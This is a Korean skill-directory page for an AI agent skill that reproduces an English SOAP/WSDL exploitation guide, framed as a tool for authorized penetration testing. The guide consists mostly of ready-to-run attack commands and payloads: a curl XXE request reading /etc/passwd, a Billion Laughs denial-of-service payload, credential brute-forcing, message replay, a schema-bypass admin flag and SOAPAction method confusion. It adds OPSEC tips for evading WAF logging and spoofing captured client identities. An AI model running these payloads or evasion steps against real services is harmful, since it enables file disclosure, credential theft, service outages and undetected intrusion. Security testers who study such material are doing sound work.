본문으로 건너뛰기
Skillpedia
보안6.5k · #14026

api-soap-wsdl

하는 일

이 안내서는 아직 많은 기존 업무 시스템이 쓰는 SOAP 서비스의 보안 점검을 다룹니다. 결제, ERP, 공공기관 연동을 검토하는 보안 테스터를 위한 가이드입니다.

사용하는 경우

  • ✓허가된 검토에서 WSDL 파일로 설명된 SOAP 서비스가 발견되었을 때.
  • ✓SOAP 서비스가 XML 입력을 어떻게 파싱하는지 확인하고 싶을 때.
  • ✓SOAP 서비스가 자격 증명을 보내는데, 그것이 보호되는지 확인해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리는 아직 SOAP 기반 결제 연동을 운영합니다. 공개된 설명과 XML 처리에서 약한 지점이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 WSDL을 읽어 어떤 작업이 제공되는지 보고, XML 파싱 설정과 로그인 정보가 전송되는 방식을 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

Discovery

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl

Quick attack catalog

XXE in SOAP envelope

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx

WS-Security UsernameToken brute / clear-text leak

The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class

WS-Addressing replay

SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

Schema validation bypass

Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>

XML Bomb / Billion Laughs DoS

<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>

SOAPAction routing confusion

.NET ASMX picks the method by SOAPAction header, not body. Mismatch → call methods you shouldn't be able to:

curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
  -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
  https://target/Service.asmx

Tooling

# SoapUI free / Postman SOAP — interactive probing
soapui --gui  # or non-GUI: testrunner.sh

# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping

# python zeep — programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"

OPSEC

  • WS-Addressing <wsa:MessageID> is logged in many WAFs — randomize per-request.
  • WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
  • SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts.

References

  • WS-Attacks.org — XSW, XXE, WS-Security variants catalog
  • OWASP "Testing for Web Services" — chapter on SOAP/WSDL
  • "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable)
  • Burp extension: SAML Raider
자주 묻는 질문

WSDL이란 무엇인가요?

SOAP 서비스가 제공하는 작업과 데이터 형식을 설명하는 파일입니다.

XML 외부 엔티티 문제란 무엇인가요?

XML 파서가 외부 데이터를 읽는 약점이며, 안내서는 이를 흔한 SOAP 위험으로 꼽습니다.

자격 증명 전송 방식을 왜 확인하나요?

트래픽이 암호화되지 않으면 평문 자격 증명이 위험하다고 안내서는 설명합니다.

상세 정보

작성자의 원본 설명

SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14026
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬